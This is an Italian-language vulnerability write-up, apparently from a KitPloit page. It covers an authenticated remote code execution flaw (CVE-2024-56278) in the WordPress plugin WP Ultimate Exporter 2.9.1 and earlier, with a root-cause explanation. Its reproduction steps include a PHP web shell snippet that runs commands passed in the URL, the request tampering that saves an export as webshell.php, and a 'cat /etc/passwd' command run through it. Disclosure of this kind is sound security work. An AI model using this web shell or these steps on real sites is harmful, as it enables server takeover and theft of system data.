4️⃣ Prerequisito

Amministratore

5️⃣ Dettagli della vulnerabilità

👉 Breve descrizione

Il plugin WP Ultimate Exporter è un componente aggiuntivo per il plugin WP Ultimate CSV Importer. Questo plugin consente di esportare tutti i post, i prodotti, gli ordini, i rimborsi e i dati utente in formato CSV, XLS, XML e JSON. Durante l'esportazione, i file vengono creati nel percorso di upload e il plugin fornisce agli utenti solo il contenuto di tali file.

Nelle versioni 2.9.1 e precedenti del plugin WP Ultimate Exporter, quando si richiede l'esportazione dei dati, se l'estensione del file nei dati della richiesta viene impostata su PHP, viene creato un file PHP nel percorso di upload. Pertanto, se il contenuto del file creato contiene sintassi PHP, si verifica una vulnerabilità di Remote Code Execution (RCE) poiché la sintassi PHP viene eseguita quando si accede a quel file.

👉 Come riprodurre (PoC)

⚠️ Poiché il plugin 'WP Ultimate Exporter' è un componente aggiuntivo per il plugin 'WP Ultimate CSV Importer', entrambi i plugin devono essere installati.

1. Creare un nuovo post utilizzando l'editor di codice (scorciatoia da tastiera: ⇧ ⌥ ⌘ M) con il seguente contenuto:

   root@kitploit:~

   <pre>
   	<?php
   	    if(isset($_GET['cmd']))
   	    {
   	        system($_GET['cmd']);
   	    }
   	?>
   </pre>
   

2. Navigare alla scheda 'Export' del plugin WP Ultimate Exporter. È possibile accedervi facendo clic sulla scheda 'Export' nella dashboard del plugin WP Ultimate CSV Importer (/wp-admin/admin.php?page=com.smackcoders.csvimporternew.menu).

3. Avviare uno strumento proxy (ad es. BurpSuite) per intercettare i pacchetti di richiesta e procedere con i seguenti passaggi con Intercept abilitato.

4. Successivamente, selezionare 'Posts' da 'Select the module to Export Data' e procedere al passaggio successivo.

1. Quindi, in 'To export data based on the filters', impostare i seguenti elementi e fare clic sul pulsante 'EXPORT'.
   • Export File Name Inserire 'webshell'
   • Advanced Settings Selezionare 'CSV'

1. A questo punto, viene inviata una richiesta con metodo POST all'URL /wp-admin/admin-ajax.php per esportare i dati. Modificare il valore exp_type nei dati della richiesta da csv a php, quindi fare clic su Forward.

1. Inserire /wp-content/uploads/smack_uci_uploads/exports/webshell.php?cmd=cat /etc/passwd nella barra degli indirizzi del browser per visualizzare il contenuto del file /etc/passwd sul server in cui è installato WordPress. Questo dimostra la vulnerabilità RCE.

👉 Informazioni aggiuntive (facoltative)

[Causa della vulnerabilità]

Quando si esportano i dati nel plugin WP Ultimate Exporter, viene chiamata la funzione parseData nel file /wp-content/plugins/wp-ultimate-exporter/exportExtensions/ExportExtension.php.

A questo punto, non viene eseguito alcun filtro sul dato della richiesta exp_type che determina il formato dei dati di esportazione e il valore viene inserito direttamente nella variabile membro $this->exportType.

Successivamente, viene chiamata la funzione proceedExport per salvare i dati in un file. A questo punto, quando si inizializza la variabile $file che specifica il percorso di archiviazione del file, viene utilizzata anche la variabile membro $this->exportType senza alcun filtro.

Successivamente, il percorso del file memorizzato nella variabile $file viene passato come argomento alla funzione file_put_contents e, a questo punto, il file viene salvato con l'estensione specificata nel dato della richiesta exp_type applicata direttamente.

Pertanto, quando i dati del post contenenti codice Web Shell vengono salvati come file PHP e si accede a quel file, si verifica una vulnerabilità di Remote Code Execution (RCE) poiché il codice PHP viene eseguito.

[Implementazione ed esecuzione del codice PoC]

1. Aprire il codice PoC in un editor e inserire l'indirizzo del sito WordPress e le credenziali dell'amministratore.

1. Quindi inserire il seguente comando per eseguire il codice PoC.

   Modulo richiesto requests

   root@kitploit:~

   python poc.py
   

   

6️⃣ Demo dello sfruttamento

7️⃣ Riferimenti

• https://nvd.nist.gov/vuln/detail/CVE-2024-56278